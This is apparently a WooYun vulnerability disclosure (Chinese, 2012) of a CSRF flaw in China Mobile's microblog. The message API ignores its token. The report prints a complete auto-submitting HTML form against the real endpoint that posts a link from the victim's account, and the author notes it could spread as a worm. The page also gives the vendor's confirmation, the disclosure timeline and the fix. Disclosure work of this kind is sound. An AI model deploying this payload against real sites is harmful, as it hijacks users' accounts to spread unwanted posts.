当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-016273

漏洞标题：移动的微薄csrf发送信息可实现蠕虫

相关厂商：移动

漏洞作者： 小胖胖要减肥

提交时间：2012-12-20 15:49

修复时间：2013-02-03 15:50

公开时间：2013-02-03 15:50

漏洞类型：CSRF

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-12-20： 细节已通知厂商并且等待厂商处理中
2012-12-25： 厂商已经确认，细节仅向厂商公开
2013-01-04： 细节向核心白帽子及相关领域专家公开
2013-01-14： 细节向普通白帽子公开
2013-01-24： 细节向实习白帽子公开
2013-02-03： 细节向公众公开

简要描述：

反正一看标题就知道，大厂商，没人用的产品，这个应该能过了，提交一个csrf

详细说明：

发送信息，post有token，没有验证token是否正确，随便填一个token就可以，构造页面，点击就会自动发微薄，html如下

<html>
<body>
<form id="wrhoooo" name="wrhoooo" action="http://tmail.weibo.10086.cn/ajax/json/pushfeed/pushfeed" method="post">
<input type="test" name="text" value=http://139url.cn/tj8ke />
<input type="test" name="from" value=“home_top” />
<input type="test" name="crumb" value=“2114d24569a933333333248e46a8171c” />
</form>
<script>
document.wrhoooo.submit();
</script>
</body>
</html>


crum就是token，没有验证，上面明显是瞎写的，接口又没有指定用户字段

漏洞证明：

查看页面是否有发微薄

2012-12-20_141903.jpg


都是点击上面页面发的，应该蠕虫没问题吧

修复方案：

验证token

版权声明：转载请注明来源 小胖胖要减肥@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：12

确认时间：2012-12-25 15:20

厂商回复：

CNVD确认漏洞情况，类似于2011年某知名微博蠕虫漏洞事件，确认可用于发起钓鱼、挂马等恶意攻击。已转由CNCERT直接协调中国移动集团公司处置。
rank 12

最新状态：

暂无

漏洞评价：

评论

  1. 2012-12-20 16:22 | 鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:42 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)

    霸气威武。。明天我也提交一个腾讯的XSS。。

  2. 2012-12-20 21:04 | se55i0n ( 普通白帽子 | Rank:1567 漏洞数:173 )

    关注下胖子~

  3. 2012-12-20 22:21 | El4pse ( 路人 | Rank:29 漏洞数:7 | 世界上从来没有不可能这几个字，可不可能完...)

    哈哈。。今天我手机收到移动微博的信息我也测了一下找到个存储型xss